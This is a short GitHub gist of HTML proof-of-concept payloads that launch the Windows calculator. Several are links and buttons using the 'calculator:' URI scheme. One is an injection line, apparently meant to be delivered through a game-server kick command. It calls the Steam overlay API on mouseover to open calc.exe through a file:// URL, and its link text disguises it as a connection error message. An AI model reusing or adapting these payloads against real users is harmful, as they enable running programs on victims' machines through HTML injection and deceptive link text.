Skip to content

Instantly share code, notes, and snippets.

@nani1337
Last active October 9, 2019 05:06
Show Gist options
  • Save nani1337/ad52edba260a96c58d5494f5c46b17b1 to your computer and use it in GitHub Desktop.
Save nani1337/ad52edba260a96c58d5494f5c46b17b1 to your computer and use it in GitHub Desktop.
Calc in HTML5
<a href="calculator:">calculator:</a> (regular link)
<br /><br />
<input type="button" onclick="location.href = 'calculator:'" value="location.href = 'calculator:'" /> (button using location.href)
<br /><br />
<input type="button" onclick="setTimeout('location.href = \'calculator:\'')" value="setTimeout('location.href = \'calculator:\'')" /> (setTimeout/location.href, requires confirmation)
sm_testkick <a onmouseover="javascript:SteamOverlayAPI.OpenExternalBrowserURL('file://C:/Windows/System32/calc.exe')">The remote host stopped receiving communications and closed the connection</a>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment